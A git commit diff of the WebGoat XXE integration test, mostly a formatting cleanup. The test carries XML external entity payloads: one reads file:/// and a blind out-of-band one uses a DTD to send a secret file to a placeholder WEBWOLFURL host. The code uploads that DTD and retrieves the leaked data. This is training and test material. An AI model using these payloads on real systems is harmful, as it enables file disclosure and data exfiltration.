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Fix merge request

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This commit is contained in:
Nanne Baars
2019-10-19 17:17:54 +02:00
committed by Nanne Baars
parent d73875e8e8
commit 25dae3a4a8
79 changed files with 900 additions and 2286 deletions
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67
webgoat-integration-tests/src/test/java/org/owasp/webgoat/XXETest.java
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@ -16,70 +16,59 @@ public class XXETest extends IntegrationTest {
private static final String xxe4 = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE user [<!ENTITY xxe SYSTEM \"file:///\">]><comment><text>&xxe;test</text></comment>";
private static final String dtd7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!ENTITY % file SYSTEM \"file:SECRET\"><!ENTITY % all \"<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>\">%all;";
private static final String xxe7 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM \"WEBWOLFURL/USERNAME/blind.dtd\">%remote;]><comment><text>test&send;</text></comment>";
private String webGoatHomeDirectory;
private String webwolfFileDir;
@Test
public void runTests() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = getWebGoatServerPath();
webwolfFileDir = getWebWolfServerPath();
checkAssignment(url("/WebGoat/xxe/simple"),ContentType.XML,xxe3,true);
checkAssignment(url("/WebGoat/xxe/content-type"),ContentType.XML,xxe4,true);
checkAssignment(url("/WebGoat/xxe/blind"),ContentType.XML,"<comment><text>"+getSecret()+"</text></comment>",true );
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true);
checkResults("xxe/");
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(),"blind.dtd")));
//remove any left over DTD
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(getWebgoatUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
//upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/WebWolf/fileupload"))
.then()
.extract().response().getBody().asString();
//upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", getWebgoatUser());
checkAssignment(url("/WebGoat/xxe/blind?send=test"),ContentType.XML,xxe7String,false );
checkAssignment(url("/WebGoat/xxe/blind?send=test"), ContentType.XML, xxe7String, false);
//read results from WebWolf
String result = RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests"))
.then()
.extract().response().getBody().asString();
result = result.replace("%20", " ");
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("),result.lastIndexOf("WebGoat 8.0 rocks... (")+33);
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
return result;
}
}